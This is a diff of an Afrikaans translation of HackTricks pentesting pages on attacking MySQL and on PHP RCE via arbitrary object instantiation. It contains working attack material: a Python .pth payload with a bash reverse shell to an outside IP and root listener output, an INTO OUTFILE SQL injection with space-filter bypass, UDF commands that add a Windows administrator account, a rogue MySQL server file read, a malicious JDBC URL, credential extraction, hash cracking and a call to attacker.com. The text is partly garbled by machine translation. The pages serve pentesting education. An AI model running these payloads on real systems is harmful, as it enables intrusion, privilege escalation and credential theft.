Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

src/network-services-pentesting/pentesting-mysql.md

@@ -4,15 +4,15 @@
 
 ## **Basiese Inligting**
 
-**MySQL** kan beskryf word as 'n oopbron **Relational Database Management System (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Structured Query Language (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
+**MySQL** kan beskryf word as 'n oopbron Relational Database Management System (RDBMS) wat gratis beskikbaar is. Dit maak gebruik van die Structured Query Language (SQL) en stel die bestuur en manipuleer van databasisse in staat.
 
-**Standaard poort:** 3306
+**Standaardpoort:** 3306
 ```
 3306/tcp open  mysql
 ```
 ## **Verbind**
 
-### **Plaaslik**
+### **Lokaal**
 ```bash
 mysql -u root # Connect to root without password
 mysql -u root -p # A password will be asked (check someone)
@@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
 ```
 ## Eksterne Enumerasie
 
-Sommige van die enumerasie aksies vereis geldige akrediteer.
+Sommige van die enumerasie-aksies vereis geldige inlogbesonderhede
 ```bash
 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 msf> use auxiliary/scanner/mysql/mysql_version
@@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
 CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
 CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
 ```
-## **MySQL-opdragte**
+## **MySQL-kommando's**
 ```bash
 show databases;
 use <database>;
@@ -78,7 +78,7 @@ quit;
 mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
 mysql -u root -h 127.0.0.1 -e 'show databases;'
 ```
-### MySQL Toestemmings Enumerasie
+### MySQL Regte-opsporing
 ```sql
 #Mysql
 SHOW GRANTS [FOR user];
@@ -101,93 +101,89 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
 #@ Functions not from sys. db
 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
 ```
-You kan die betekenis van elke voorreg in die dokumentasie sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
+Jy kan in die docs die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
 
-### MySQL Lêer RCE
+### MySQL File RCE
 
 
 {{#ref}}
 ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 {{#endref}}
 
-#### INTO OUTFILE → Python `.pth` RCE (webwerf-spesifieke konfigurasie hake)
+#### INTO OUTFILE → Python `.pth` RCE (site-spesifieke konfigurasie-hake)
 
-Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arbitraire kode-uitvoering* op teikens te verkry wat later **Python** skripte uitvoer.
+Deur die klassieke `INTO OUTFILE` primitive te misbruik, is dit moontlik om *arbitrary code execution* te bekom op teikens wat later **Python**-skripte uitvoer.
 
-1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`** lêer binne enige gids te laat val wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
-2. Die `.pth` lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitraire Python kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
-3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`), word die payload uitgevoer met dieselfde voorregte as die web-bediener proses (FortiWeb het dit as **root** uitgevoer → volle pre-auth RCE).
+1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`**-lêer in te laat val in enige gids wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
+2. Die `.pth`-lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitrêre Python-kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
+3. Wanneer die interpreter implisiet uitgevoer word deur 'n CGI-skrip (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`) word die payload uitgevoer met dieselfde voorregte as die web-bediener-proses (FortiWeb het dit as **root** uitgevoer → full pre-auth RCE).
 
-Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string-konkatenasie mag benodig word):
+Voorbeeld `.pth` payload (enkele lyn, geen spasies kan in die finale SQL-payload ingesluit word, dus hex/`UNHEX()` of string-konkatenering mag nodig wees):
 ```python
 import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 ```
-Voorbeeld van die opstel van die lêer deur middel van 'n **UNION** navraag (spasie karakters vervang met `/**/` om 'n `sscanf("%128s")` spasie filter te omseil en die totale lengte ≤128 bytes te hou):
+Voorbeeld om die lêer te skep deur 'n **UNION** query (spaties vervang met `/**/` om 'n `sscanf("%128s")` spasiefilter te omseil en die totale lengte ≤128 bytes te behou):
 ```sql
 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 ```
 Belangrike beperkings & omseilings:
 
-* `INTO OUTFILE` **kan nie** bestaande lêers oorskryf nie; kies 'n nuwe lêernaam.
-* Die lêerpad word **relatief tot MySQL se CWD** opgelos, so om te prefix met `../../` help om die pad te verkort en absolute-pad beperkings te omseil.
-* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
-* Die MySQL gebruiker wat die navraag uitvoer, benodig die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.
+* `INTO OUTFILE` **kan nie oorskryf nie** bestaande lêers; kies 'n nuwe lêernaam.
+* Die lêerpad word opgelos **relatief tot MySQL’s CWD**, dus help vooranbring met `../../` om die pad te verkort en absolute-pad beperkings te omseil.
+* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afkap; gebruik MySQL kommentaarvolgordes `/**/` of `/*!*/` om spasies te vervang.
+* Die MySQL gebruiker wat die query uitvoer benodig die `FILE` voorreg, maar op baie appliances (bv. FortiWeb) loop die diens as **root**, wat skryf-toegang byna oral gee.
 
-Na die `.pth` verwyder is, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry:
+Nadat jy die `.pth` neergesit het, versoek eenvoudig enige CGI wat deur die python interpreter gehanteer word om code execution te kry:
 ```
 GET /cgi-bin/ml-draw.py HTTP/1.1
 Host: <target>
 ```
-Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell-payload uitvoer.
+Die Python-proses sal die kwaadwillige `.pth` outomaties importeer en die shell payload uitvoer.
 ```
 # Attacker
 $ nc -lvnp 4444
 id
 uid=0(root) gid=0(root) groups=0(root)
 ```
----
+## MySQL arbitrêre lêerlees deur client
 
-## MySQL arbitrêre lêer lees deur kliënt
-
-Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
-Let asseblief op dat dit die gedrag is wat gebruik word:
+Eintlik, wanneer jy probeer **load data local into a table** die **inhoud van 'n lêer** vra die MySQL of MariaDB-server die **client om dit te lees** en die inhoud te stuur. **As jy 'n mysql client kan manipuleer om met jou eie MySQL-server te verbind, kan jy arbitrêre lêers lees.**\
+Neem asseblief kennis dat dit die gedrag is wanneer gebruik:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(Let op die "lokale" woord)\
-Want sonder die "lokale" kan jy kry:
+(Let op die woord "local")\
+Want sonder die "local" kan jy kry:
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 
 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
-**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
+**Aanvanklike PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit na RCE uit te brei:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ 
 **Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 
-​
-
 
 
 ## POST
 
 ### Mysql Gebruiker
 
-Dit sal baie interessant wees as mysql as **root** loop:
+Dit sal baie interessant wees as mysql as **root** uitgevoer word:
 ```bash
 cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
 ```
-#### Gevaarlike Instellings van mysqld.cnf
+#### Gevaarlike instellings in mysqld.cnf
 
-In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:
+In die konfigurasie van MySQL-dienste word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:
 
-- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
-- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
-- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfase.
-- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
-- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
-- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.
+- Die **`user`**-instelling word gebruik om die gebruiker aan te dui waaronder die MySQL-diens uitgevoer sal word.
+- **`password`** word gebruik om die wagwoord vir die MySQL-gebruiker in te stel.
+- **`admin_address`** spesifiseer die IP-adres wat na TCP/IP-verbindinge luister op die administratiewe netwerk-koppelvlak.
+- Die **`debug`**-variabele dui op die huidige foutopsporingskonfigurasies, insluitend sensitiewe inligting in loglêers.
+- Die **`sql_warnings`** beheer of inligtingsstringe gegenereer word vir enkelry-INSERT-opdragte wanneer waarskuwings voorkom, wat sensitiewe data in loglêers kan bevat.
+- Met **`secure_file_priv`** word die omvang van data-import- en -eksportoperasies beperk om sekuriteit te verbeter.
 
 ### Privilege escalation
 ```bash
@@ -209,16 +205,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 ```
 ### Privilege Escalation via library
 
-As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, nodig hê.
+As die **mysql server is running as root** (of 'n ander meer bevoorregte gebruiker) kan jy dit dwing om opdragte uit te voer. Hiervoor moet jy **user defined functions** gebruik. En om 'n user defined te skep sal jy 'n **library** vir die OS wat mysql hardloop nodig hê.
 
-Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het.
+Die kwaadaardige library wat gebruik kan word, is te vinde in sqlmap en in metasploit deur **`locate "*lib_mysqludf_sys*"`** uit te voer. Die **`.so`** lêers is **linux** libraries en die **`.dll`** is die **Windows** een — kies die een wat jy nodig het.
 
-As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien saamstel**:
+As jy daardie libraries nie het nie, kan jy óf daarna soek, óf hierdie [**linux C code**](https://www.exploit-db.com/exploits/1518) aflaai en dit **compile it inside the linux vulnerable machine**:
 ```bash
 gcc -g -c raptor_udf2.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 ```
-Nou dat jy die biblioteek het, teken in binne die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:
+Nou dat jy die biblioteek het, meld aan by die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:
 
 #### Linux
 ```sql
@@ -252,29 +248,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 SELECT sys_exec("net user npn npn12345678 /add");
 SELECT sys_exec("net localgroup Administrators npn /add");
 ```
-### Uittreksel van MySQL geloofsbriewe uit lêers
+#### Windows wenk: create directories with NTFS ADS from SQL
 
-Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind
+Op NTFS kan jy gidskepping afdwing deur 'n alternate data stream te gebruik, selfs wanneer slegs 'n file write primitive bestaan. As die klassieke UDF chain 'n `plugin` gids verwag maar dit bestaan nie en `@@plugin_dir` onbekend of beperk is, kan jy dit eers skep met `::$INDEX_ALLOCATION`:
+```sql
+SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
+-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
+```
+Dit verander 'n beperkte `SELECT ... INTO OUTFILE` in 'n meer volledige primitive op Windows stacks deur die gidsstruktuur wat nodig is vir UDF drops te opbou.
+
+### Uittrekking van MySQL credentials uit lêers
+
+In _/etc/mysql/debian.cnf_ kan jy die **plain-text password** van die gebruiker **debian-sys-maint** vind
 ```bash
 cat /etc/mysql/debian.cnf
 ```
-U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.
+Jy kan **hierdie credentials gebruik om by die mysql database aan te meld**.
 
-Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._
+Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ vind jy **al die hashes van die MySQL users** (die wat jy uit mysql.user binne die databasis kan uittrek)_._
 
-U kan dit onttrek deur:
+Jy kan hulle uittrek deur:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
-### Aktivering van logging
+### Aktiveer logregistrasie
 
-Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontmerk:
+Jy kan logregistrasie van mysql-query's binne `/etc/mysql/my.cnf` aktiveer deur die volgende reëls te dekommenteer:
 
 ![](<../images/image (899).png>)
 
 ### Nuttige lêers
 
-Konfigurasie Lêers
+Konfigurasielêers
 
 - windows \*
 - config.ini
@@ -289,14 +294,14 @@ Konfigurasie Lêers
 - /var/lib/mysql/my.cnf
 - \~/.my.cnf
 - /etc/my.cnf
-- Opdrag Geskiedenis
+- Opdraggeskiedenis
 - \~/.mysql.history
-- Log Lêers
+- Loglêers
 - connections.log
 - update.log
 - common.log
 
-## Standaard MySQL Databasis/Tabelle
+## Standaard MySQL-databasisse/tabelle
 
 {{#tabs}}
 {{#tab name="information_schema"}}
@@ -607,7 +612,7 @@ x$user\_summary\_by\_file\_io\
 x$user_summary_by_file_io_type\
 x$user\_summary\_by\_stages\
 x$user_summary_by_statement_latency\
-x$user\_summary\_by\_statement\_type\
+x$user\_summary_by_statement_type\
 x$wait_classes_global_by_avg_latency\
 x$wait\_classes\_global\_by\_latency\
 x$waits_by_host_by_latency\
@@ -616,7 +621,7 @@ x$waits_global_by_latency
 {{#endtab}}
 {{#endtabs}}
 
-## HackTricks Outomatiese Opdragte
+## HackTricks Outomatiese Kommando's
 ```
 Protocol_Name: MySql    #Protocol Abbreviation if there is one.
 Port_Number:  3306     #Comma separated if there is more than one.
@@ -649,35 +654,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
 ```
 ## 2023-2025 Hoogtepunte (nuut)
 
-### JDBC `propertiesTransform` deserialisering (CVE-2023-21971)
-Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat om 'n verbindingsstring vra) arbitrêre klasse versoek om op die *klant* kant gelaai te word via die `propertiesTransform` parameter. As 'n gadget wat op die klas-pad teenwoordig is, gelaai kan word, lei dit tot **afgeleë kode-uitvoering in die konteks van die JDBC-klant** (voor-auth, omdat geen geldige akrediteerbes is nie). 'n Minimale PoC lyk soos:
+### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
+Vanaf Connector/J <= 8.0.32 kan 'n aanvaller wat die **JDBC URL** kan beïnvloed (byvoorbeeld in derdeparty-sagteware wat vra vir 'n connection string) arbitrêre klasse versoek om aan die *client*-kant gelaai te word via die `propertiesTransform` parameter. If a gadget present on the class-path is loadable this results in **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). 'n minimale PoC lyk soos:
 ```java
 jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
 ```
-Die uitvoering van `Evil.class` kan so maklik wees soos om dit op die klas-pad van die kwesbare toepassing te produseer of om 'n onbetroubare MySQL-bediener toe te laat om 'n kwaadwillige geserialiseerde objek te stuur. Die probleem is in Connector/J 8.0.33 reggestel – werk die bestuurder op of stel `propertiesTransform` eksplisiet op 'n toelaat-lis.
+Om `Evil.class` uit te voer kan so eenvoudig wees as om dit op die class-path van die kwesbare toepassing te plaas, of om 'n rogue MySQL server toe te laat om 'n kwaadwillige serialized object te stuur. Die probleem is reggestel in Connector/J 8.0.33 – werk die driver op of stel `propertiesTransform` eksplisiet op 'n allow-list.
+(Sien Snyk write-up vir besonderhede)
 
-(Verwys na Snyk se skrywe vir besonderhede)
+### Rogue / Fake MySQL server-aanvalle teen JDBC-kliente
+Verskeie open-source gereedskap implementeer 'n *partial* MySQL-protokol om JDBC-kliente wat na buite verbind aan te val:
 
-### Onbetroubare / Vals MySQL-bediener aanvalle teen JDBC-kliënte
-Verskeie oopbron gereedskap implementeer 'n *gedeeltelike* MySQL-protokol om JDBC-kliënte wat buite verbind, aan te val:
-
-* **mysql-fake-server** (Java, ondersteun lêer lees en deserialisering eksplosies)
+* **mysql-fake-server** (Java, ondersteun file read en deserialization exploits)
 * **rogue_mysql_server** (Python, soortgelyke vermoëns)
 
 Tipiese aanvalspaaie:
 
-1. Slachtoffer toepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
-2. Aanvaller beheer DNS / gasheer inskrywing sodat die gasheernaam van die DB na 'n masjien onder hul beheer oplos.
-3. Kwaadwillige bediener reageer met saamgestelde pakkette wat óf `LOCAL INFILE` arbitrêre lêer lees of Java deserialisering aktiveer → RCE.
+1. Doeltoepassing laai `mysql-connector-j` met `allowLoadLocalInfile=true` of `autoDeserialize=true`.
+2. Aanvaller beheer DNS / host entry sodat die hostname van die DB na 'n masjien onder hul beheer oplos.
+3. Kwaadaardige bediener reageer met pasgemaakte pakkette wat óf `LOCAL INFILE` arbitraire lêerlees óf Java deserialization trigger → RCE.
 
-Voorbeeld een-liner om 'n vals bediener te begin (Java):
+Example one-liner to start a fake server (Java):
 ```bash
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
-Dan wys die slagoffer toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 in die *username* veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Wys dan die slagoffer-toepassing na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` en lees `/etc/passwd` deur die lêernaam as base64 te enkodeer in die *username*-veld (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
 
-### Krake `caching_sha2_password` hashes
-MySQL ≥ 8.0 stoor wagwoord hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (modus **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline kraking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in:
+### Cracking `caching_sha2_password` hashes
+MySQL ≥ 8.0 stoor wagwoord-hashes as **`$mysql-sha2$`** (SHA-256). Beide Hashcat (mode **21100**) en John-the-Ripper (`--format=mysql-sha2`) ondersteun offline cracking sedert 2023. Dump die `authentication_string` kolom en voer dit direk in:
 ```bash
 # extract hashes
 echo "$mysql-sha2$AABBCC…" > hashes.txt
@@ -686,12 +690,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
 # John the Ripper
 john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ```
-### Versterking kontrolelys (2025)
-• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** in om die meeste lêer-lees/skryf primitiewe te beëindig.
+### Verhardingskontrolelys (2025)
+• Stel **`LOCAL_INFILE=0`** en **`--secure-file-priv=/var/empty`** om die meeste lêerlees-/skryf-primitiewe uit te skakel.
 • Verwyder die **`FILE`** voorreg van toepassingsrekeninge.
 • Op Connector/J stel `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leeg).
-• Deaktiveer ongebruikte verifikasie plugins en **vereis TLS** (`require_secure_transport = ON`).
-• Monitor vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL` verklarings.
+• Skakel ongebruikte authentication plugins af en **vereis TLS** (`require_secure_transport = ON`).
+• Hou dop vir `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` en skielike `SET GLOBAL`-instruksies.
 
 ---
 
@@ -699,6 +703,9 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
 - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+
+
 
 - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

@@ -1,18 +1,18 @@
-# PHP - RCE misbruik van objekskepping: new $\_GET\["a"]\($\_GET\["b")
+# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Dit is basies 'n opsomming van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
+Dit is basies 'n samevatting van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
 
 ## Inleiding
 
-Die skepping van nuwe arbitrêre objek, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos in 'n [**skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uiteengesit. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
+Die skepping van nuwe arbitrêre objekke, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos uiteengesit in 'n [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
 
-## RCE via Aangepaste Klasse of Autoloading
+## RCE deur aangepaste klasse of Autoloading
 
-Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes mag voorkom.
+Die sintaksis `new $a($b)` word gebruik om 'n objek te instansieer, waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die constructor deurgegee word. Hierdie veranderlikes kan van gebruikersinsette soos GET/POST kom, waar hulle strings of arrays kan wees, of van JSON, waar hulle as ander tipes voor kan kom.
 
-Oorweeg die kode-snippet hieronder:
+Kyk na die kodefragment hieronder:
 ```php
 class App {
 function __construct ($cmd) {
@@ -31,9 +31,9 @@ $b = $_GET['b'];
 
 new $a($b);
 ```
-In hierdie geval, om `$a` op `App` of `App2` en `$b` op 'n stelselaanroep (bv. `uname -a`) te stel, lei tot die uitvoering van daardie aanroep.
+In hierdie geval lei die instelling van `$a` op `App` of `App2` en `$b` op 'n stelselopdrag (bv. `uname -a`) tot die uitvoering van daardie opdrag.
 
-**Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`:
+**Autoloading-funksies** kan misbruik word as sulke klasse nie direk toeganklik is nie. Hierdie funksies laai outomaties klasse uit lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`:
 ```php
 spl_autoload_register(function ($class_name) {
 include './../classes/' . $class_name . '.php';
@@ -45,52 +45,76 @@ include $class_name . '.php';
 
 spl_autoload_register();
 ```
-Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE moontlikhede bied.
+Die gedrag van autoloading verskil na gelang van PHP-weergawes en bied verskillende RCE-geleenthede.
 
-## RCE via Ingeboude Klasse
+## RCE via Ingeboude klasse
 
-In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`.
+As daar geen custom klasse of autoloaders is nie, kan **ingeboude PHP-klasse** volstaan vir RCE. Die aantal van hierdie klasse wissel tussen sowat 100 en 200, afhangend van die PHP-weergawes en geïnstalleerde extensies. Hulle kan gelys word met `get_declared_classes()`.
 
-Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) getoon.
+Konstruktors van belang kan geïdentifiseer word deur die reflection API, soos getoon in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
 
 **RCE via spesifieke metodes sluit in:**
 
-### **SSRF + Phar Deserialisering**
+### **SSRF + Phar Deserialization**
 
-Die `SplFileObject` klas stel SSRF in staat deur sy konstruktor, wat verbindings na enige URL toelaat:
+Die `SplFileObject`-klas maak SSRF moontlik deur sy konstruktor en laat verbindings na enige URL toe:
 ```php
 new SplFileObject('http://attacker.com/');
 ```
-SSRF kan lei tot deserialisering aanvalle in weergawes van PHP voor 8.0 wat die Phar protokol gebruik.
+SSRF kan lei tot deserialization attacks in weergawes van PHP voor 8.0 wat die Phar-protokol gebruik.
 
-### **Eksploitering van PDO's**
+### **Exploiting PDOs**
 
-Die PDO klas konstruktor laat verbindings toe tot databasisse via DSN stringe, wat moontlik lêer skep of ander interaksies moontlik maak:
+Die PDO class constructor laat verbindings na databases toe via DSN strings, wat potensieel lêerskepping of ander interaksies moontlik maak:
 ```php
 new PDO("sqlite:/tmp/test.txt")
 ```
 ### **SoapClient/SimpleXMLElement XXE**
 
-Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `SoapClient` en `SimpleXMLElement` konstruktors, afhangende van die weergawe van libxml2.
+Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle via die `SoapClient` en `SimpleXMLElement` constructors, afhangend van die weergawe van libxml2.
 
-## RCE via Imagick-uitbreiding
+## RCE via Imagick Extension
 
-In die analise van 'n **projek se afhanklikhede**, is ontdek dat **Imagick** benut kan word vir **opdraguitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut.
+In die ontleding van 'n **projek se afhanklikhede** is gevind dat **Imagick** aangewend kon word vir **command execution** deur nuwe objekte te instansieer. Dit bied 'n moontlikheid om kwesbaarhede te benut.
 
 ### VID parser
 
